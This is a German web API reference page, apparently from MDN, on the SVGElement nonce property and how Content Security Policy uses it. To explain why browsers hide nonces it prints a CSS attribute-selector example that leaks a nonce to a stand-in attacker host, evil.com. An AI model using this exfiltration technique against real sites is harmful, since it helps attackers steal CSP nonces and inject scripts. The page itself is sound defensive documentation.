SVGElement: nonce Eigenschaft

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.

Die nonce-Eigenschaft des SVGElement-Interfaces gibt die Nonce zurück, die von der Content Security Policy verwendet wird, um zu bestimmen, ob ein bestimmter Abruf erlaubt wird.

Wert

Ein String; die kryptografische Nonce oder ein leerer String, wenn keine Nonce gesetzt ist.

Beispiele

Abrufen eines Nonce-Werts

In der Vergangenheit unterstützten nicht alle Browser das nonce IDL-Attribut, daher war ein Workaround notwendig, indem getAttribute als Fallback verwendet wurde:

js
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");

// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`

Neuere Browserversionen verbergen nonce-Werte, die auf diese Weise zugegriffen werden (ein leerer String wird zurückgegeben). Die IDL-Eigenschaft (svg['nonce']) wird der einzige Weg sein, um auf Nonces zuzugreifen.

Das Verbergen von Nonces hilft zu verhindern, dass Angreifer Nonce-Daten über Mechanismen abgreifen, die Daten aus Inhaltsattributen erfassen können, wie z.B. diesem CSS-Selektor:

css
svg[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Spezifikationen

Specification
HTML Standard
# dom-noncedelement-nonce

Browser-Kompatibilität

BCD tables only load in the browser

Siehe auch